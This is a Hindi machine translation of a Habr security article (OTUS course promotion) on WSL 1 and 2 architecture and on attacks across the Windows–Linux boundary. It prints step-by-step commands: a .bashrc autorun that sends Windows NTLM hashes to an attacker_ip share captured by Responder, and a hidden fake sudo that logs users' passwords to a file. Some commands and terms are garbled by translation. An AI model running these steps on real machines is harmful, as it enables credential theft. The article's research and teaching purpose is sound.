डब्लूएसएल प्रयोग. भाग ---- पहला

हेलो हबर! OTUS ने अक्टूबर में एक नई पाठ्यक्रम स्ट्रीम लॉन्च की है "लिनक्स सुरक्षा". पाठ्यक्रम की शुरुआत की प्रत्याशा में, हम आपके साथ हमारे एक शिक्षक अलेक्जेंडर कोलेनिकोव द्वारा लिखित एक लेख साझा कर रहे हैं।

2016 में, Microsoft ने IT समुदाय के लिए नई WSL तकनीक पेश की (Windows Sके लिए सबसिस्टम Lइनक्स), जिसने भविष्य में पहले से असंगत प्रतिस्पर्धियों को एकजुट करना संभव बना दिया जो सामान्य और उन्नत ओएस उपयोगकर्ताओं: विंडोज और लिनक्स दोनों के बीच लोकप्रियता के लिए लड़ रहे थे। इस तकनीक ने विंडोज़ वातावरण में लिनक्स चलाने की आवश्यकता के बिना लिनक्स ओएस टूल का उपयोग करना संभव बना दिया है, उदाहरण के लिए, मल्टी-बूट का उपयोग करना। Habr पर आप WSL के उपयोग के लाभों का वर्णन करने वाले बड़ी संख्या में लेख पा सकते हैं। हालाँकि, दुर्भाग्य से, इस लेख के निर्माण के समय, इस संसाधन पर ऑपरेटिंग सिस्टम के ऐसे सहजीवन की सुरक्षा पर कोई अध्ययन नहीं पाया गया था। यह पोस्ट इसे सही करने का एक प्रयास होगा। लेख WSL 1 और 2 आर्किटेक्चर की विशेषताओं के बारे में बात करेगा और इन प्रौद्योगिकियों का उपयोग करके सिस्टम पर हमलों के कई उदाहरणों की जांच करेगा। लेख को 2 भागों में विभाजित किया गया है। पहला लिनक्स और विंडोज़ से मुख्य सैद्धांतिक हमले के तरीके प्रदान करेगा। दूसरे लेख में एक परीक्षण वातावरण स्थापित करना और हमलों को पुन: प्रस्तुत करना शामिल होगा।

डब्लूएसएल 1: वास्तुशिल्प विशेषताएं

डब्लूएसएल सुरक्षा मुद्दों में सबसे सटीक गोता लगाने के लिए, उपप्रणाली के कार्यान्वयन से जुड़ी मुख्य बारीकियों को निर्धारित करना आवश्यक है। WSL द्वारा हल किए गए मुख्य उपयोगकर्ता कार्यों में से एक विंडोज़ ओएस चलाने वाले होस्ट पर लिनक्स टर्मिनल के माध्यम से काम करने की क्षमता है। साथ ही, प्रस्तावित अनुकूलता इतनी मूल थी कि लिनक्स निष्पादनयोग्य (ईएलएफ) को सीधे विंडोज सिस्टम पर चलाया जा सकता था। इन लक्ष्यों को प्राप्त करने के लिए, विंडोज 10 में एक विशेष सबसिस्टम बनाया गया था जो आपको विशिष्ट सिस्टम कॉल के सेट का उपयोग करके लिनक्स एप्लिकेशन चलाने की अनुमति देता है - इस प्रकार, विंडोज पर लिनक्स सिस्कल्स के एक सेट को मैप करने का प्रयास किया गया था। इसे नए ड्राइवरों और एक नए प्रक्रिया प्रारूप को जोड़कर भौतिक रूप से कार्यान्वित किया गया था। देखने में वास्तुकला इस तरह दिखती थी:

वास्तव में, लिनक्स ऑपरेटिंग सिस्टम के साथ इंटरेक्शन कई कर्नेल मॉड्यूल और एक विशेष प्रकार की प्रक्रिया - पिको के माध्यम से आयोजित किया गया था। ऊपर दिए गए चित्र से, आप देख सकते हैं कि होस्ट पर लिनक्स इंस्टेंस पर चलने वाली प्रक्रिया मूल होनी चाहिए और नियमित विंडोज अनुप्रयोगों के समान संसाधनों का उपयोग करना चाहिए। लेकिन इसे कैसे हासिल किया जाए? प्रोजेक्ट में सीढ़ी विंडोज़ के लिए प्रक्रिया अवधारणाएँ विकसित की गईं जो किसी अन्य ओएस के एप्लिकेशन को चलाने के लिए ऑपरेटिंग सिस्टम के सभी आवश्यक घटक (इसके संस्करण के आधार पर) प्रदान करती हैं।

ध्यान दें कि प्रस्तावित अमूर्तन ने ऑपरेटिंग सिस्टम (विशेष रूप से, विंडोज़) पर ध्यान केंद्रित न करना संभव बना दिया है, जिसमें किसी अन्य ओएस की प्रक्रिया लॉन्च होने की उम्मीद है, और एक सामान्य दृष्टिकोण का सुझाव दिया है।

इस प्रकार, पिको प्रक्रिया के अंदर कोई भी एप्लिकेशन विंडोज कर्नेल की परवाह किए बिना चल सकता है:

1. सिस्टम कॉल की अनुकूलता और अनुवाद की समस्याओं को विशेष प्रदाताओं द्वारा हल किया जाना चाहिए;
2. पहुंच नियंत्रण सुरक्षा मॉनिटर के माध्यम से किया जाना चाहिए। मॉनिटर कर्नेल में स्थित है और इसलिए विंडोज़ को एक नए ड्राइवर के रूप में अपग्रेड की आवश्यकता है जो ऐसी प्रक्रियाओं के लिए प्रदाता के रूप में कार्य कर सके। प्रोटोटाइप पिको प्रक्रिया को योजनाबद्ध रूप से नीचे प्रस्तुत किया गया है:

चूंकि लिनक्स फ़ाइल सिस्टम केस-संवेदी फ़ाइल और निर्देशिका नामों का उपयोग करता है, इसलिए WSL के साथ काम करने के लिए विंडोज़ में 2 प्रकार के फ़ाइल सिस्टम जोड़े गए - VolFS और DriveFS। VolFS Linux फ़ाइल सिस्टम का कार्यान्वयन है, DriveFS एक फ़ाइल सिस्टम है जो विंडोज़ नियमों के अनुसार काम करता है, लेकिन इसमें केस संवेदनशीलता का चयन करने की क्षमता होती है।

डब्लूएसएल एक्सएनयूएमएक्स

WSL 1 में कई सीमाएँ थीं जो इसे कार्यों की अधिकतम सीमा को हल करने के लिए उपयोग करने की अनुमति नहीं देती थीं: उदाहरण के लिए, इसमें 32-बिट लिनक्स अनुप्रयोगों को चलाने की क्षमता नहीं थी, और डिवाइस ड्राइवरों का उपयोग करना असंभव था। इसलिए, 2020 में, WSL 2 जारी किया गया, जिसने सबसिस्टम के निर्माण के दृष्टिकोण को बदल दिया। WSL 2 एक अनुकूलित वर्चुअल मशीन है जो WSL 1 की संसाधन खपत विशेषताओं से मेल खाती है। अब, विंडोज़ ओएस उपयोगकर्ता द्वारा हल की गई समस्याओं के आधार पर, आप लिनक्स सबसिस्टम के आवश्यक संस्करण का चयन कर सकते हैं। संभावित कमजोरियों को कम करने के लिए, WSL 2 को विंडोज 10 में हाइपर-वी के आधार पर लागू किया गया था। इस रूप में, विंडोज में लिनक्स ऑपरेटिंग सिस्टम कर्नेल को अलगाव में चलाने की क्षमता है। यह याद रखने योग्य है कि WSL के संस्करण 1 को एक बीटा फीचर के रूप में पेश किया गया था जो इस क्षेत्र में विंडोज विकास की दिशा दिखाने वाला था, इसलिए हाइपर-वी में संक्रमण अपरिहार्य था। अंतिम वास्तुकला इस तरह दिखती है:

इस संस्करण में, विंडोज़ और लिनक्स कर्नेल के पास अपने स्वयं के संसाधन हैं और इंटरसेक्शन केवल फ़ाइल सिस्टम में मौजूद है, लेकिन यह इंटरसेक्शन पूर्ण नहीं है। फ़ाइल सिस्टम के बीच इंटरेक्शन क्लाइंट-सर्वर रैपर के माध्यम से किया जाता है जो 9P प्रोटोकॉल का उपयोग करके काम करता है।

आज Microsoft WSL 1 और WSL 2 के बीच स्विच करने की क्षमता प्रदान करता है। दोनों संस्करण उपयोग के लिए उपलब्ध हैं।

डब्ल्यूएसएल सुरक्षा

फिलहाल, उपप्रणालियों के बीच संचार पर हमला करने के लिए वैध ओएस टूल का उपयोग करने के कुछ तरीकों का वर्णन करने वाले कई कार्य हैं। हम लेखन के समय हमलों की प्रासंगिकता की जांच करने के लिए उनकी स्क्रिप्ट का उपयोग करेंगे। हमलों और परिदृश्यों की सामान्य सूची:

1. फ़ाइल सिस्टम कार्यान्वयन: पहुंच अधिकार, साझा निर्देशिकाओं/डेटा विनिमय तंत्र की उपलब्धता।

पहुंच नियमों के उल्लंघन को निर्धारित करने के लिए अनुसंधान आयोजित किया गया था लिनक्स एफएस->विंडोज एफएस, विंडोज एफएस->लिनक्स एफएस. अनुसंधान ने लक्ष्य ओएस के भीतर किसी दी गई फ़ाइल को संशोधित करने की क्षमता प्रदर्शित की है। फ़ाइल सिस्टम को प्रतिस्थापित करने, डुप्लिकेट बनाने और कुछ भाग को हटाने का भी प्रयास किया गया।

परिदृश्य:

• ए. विंडोज ऑपरेटिंग सिस्टम से हमला - लिनक्स ओएस की /etc निर्देशिका से फ़ाइलों का संशोधन।
• बी. लिनक्स ऑपरेटिंग सिस्टम से हमला - निर्देशिकाओं में फ़ाइलों का संशोधन: C:Windows, C:Program Files, C:Users<User>

2. नेटवर्क स्टैक का कार्यान्वयन.

विंडोज़ पर लिनक्स ऑपरेटिंग सिस्टम से हमलों के उदाहरणों का उपयोग करके अनुसंधान किया गया था। नेटवर्क स्टैक की विशेषताओं का उपयोग किया गया, अर्थात्, विभिन्न संसाधनों पर प्रमाणीकरण तंत्र।

परिदृश्य:

• विंडोज़ सिस्टम पर मौजूद पोर्ट तक पहुंच खोलना
• उचित अधिकारों के बिना एक बंदरगाह खोलना
• विंडोज़ ऑपरेटिंग सिस्टम पर एल्फ फ़ाइल का उपयोग करके रिवर्स शेल चलाना।

3. WSL सबसिस्टम का उपयोग करके दुर्भावनापूर्ण सॉफ़्टवेयर प्रक्रियाओं के लॉन्च को छिपाना।

अनुसंधान एक साधारण तथ्य पर आधारित था - सुरक्षा उपप्रणालियाँ किसी अन्य कर्नेल में घटनाओं को रोक नहीं सकती हैं जो WSL 1 के मामले में ऑपरेटिंग सिस्टम से एक वैध प्रदाता का उपयोग करके काम करता है। WSL 2 के मामले में, होने वाली घटनाओं को देखने का कोई तरीका नहीं है हल्के वर्चुअल मशीन के भीतर एक अलग कर्नेल में।

परिदृश्य:

1) सिस्टम तक रिमोट एक्सेस के लिए एप्लिकेशन लॉन्च करें और लॉग किए गए ईवेंट देखें।

WSL 1 प्रयोग: हैश अवरोधन (विंडोज़)

अंततः हम व्यावहारिक भाग पर पहुँचे। सबसे पहले, आपको परीक्षण वातावरण स्थापित करना होगा। सभी प्रयोग विंडोज 10 2004 स्थापित एक बेंच पर किए जाएंगे। उबंटू 18.04 छवि को डब्ल्यूएसएल के लिए ऑपरेटिंग सिस्टम छवि के रूप में चुना गया था। छवि को यादृच्छिक रूप से चुना गया था, और कोई भी अन्य उसी तरह काम करेगा। स्टैंड स्थापित करने के आदेश:

आपको पहले लॉन्च करना होगा powershell.exe व्यवस्थापक के रूप में।

WSL 1 के लिए आपको कमांड चलाने की आवश्यकता है:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

स्टैंड को रीबूट करने के बाद, आप बैश कमांड को कॉल कर सकते हैं। यदि सब कुछ सही ढंग से काम करता है, तो आपको विंडोज कंसोल में इसके समान आउटपुट दिखाई देगा:

हम हमलावर की मशीन के रूप में काली लिनक्स वितरण का उपयोग करेंगे; सभी मशीनें एक ही स्थानीय नेटवर्क पर होनी चाहिए।

आइए मान लें कि हमारे पास विंडोज़ मशीन पर डब्लूएसएल तक विशेषाधिकार रहित पहुंच है। आइए लिनक्स से एक कमांड कॉल करके लिनक्स ऑपरेटिंग सिस्टम पर हमला करने का प्रयास करें। हमले को लागू करने के लिए, हम एक सरल ऑटोरन तकनीक का उपयोग करेंगे - हम लिनक्स वातावरण में निष्पादन के लिए अपनी स्क्रिप्ट जोड़ेंगे। ऐसा करने के लिए आपको फ़ाइल बदलनी होगी .bashrc.

WSL वाली मशीन पर हम निष्पादित करते हैं:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

Kali Linux मशीन पर हम चलाते हैं:

1. Responder -I eth0 -rdvw

विंडोज़ मशीन पर, आइए बैश लॉन्च करें।

हम Kali Linux मशीन पर परिणाम की प्रतीक्षा कर रहे हैं:

इस प्रकार, हमने लिनक्स सिस्टम पर कमांड निष्पादित करके WSL सबसिस्टम के माध्यम से विंडोज उपयोगकर्ता हैश प्राप्त किया।

WSL 1 प्रयोग: उपयोगकर्ता पासवर्ड प्राप्त करना (लिनक्स ओएस)

चलिए एक और प्रयोग करते हैं. इस जाँच के दौरान हम फ़ाइल में जोड़ देंगे .bashrc लिनक्स ऑपरेटिंग सिस्टम उपयोगकर्ता पासवर्ड प्राप्त करने के लिए कई कमांड।

आइए बैश लॉन्च करें और कमांड दर्ज करें:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

हमले को सफलतापूर्वक पूरा करने के लिए, उपयोगकर्ता सैम को लिनक्स टर्मिनल में सुडो को कॉल करने की आवश्यकता है। इसके बाद लिनक्स ओएस यूजर पासवर्ड फाइल में होगा pass.txt:

हमलों का कार्यान्वयन केवल सैद्धांतिक जानकारी के लिए दिया गया था।

लेख का अगला भाग 9P प्रोटोकॉल के कार्यान्वयन का वर्णन करेगा, इस प्रोटोकॉल के लिए एक स्कैनर के निर्माण पर विचार करेगा, और इसका उपयोग करके एक हमले को भी अंजाम देगा।

प्रयुक्त साहित्य की सूची

• डब्लूएसएल 2 की बुराई पर शोध
• लिनक्स दस्तावेज़ीकरण के लिए विंडोज़ सबसिस्टम

अधिक पढ़ें

• रीयल-टाइम लिनक्स कर्नेल पैचिंग सॉफ़्टवेयर कैसे चुनें

स्रोत: www.habr.com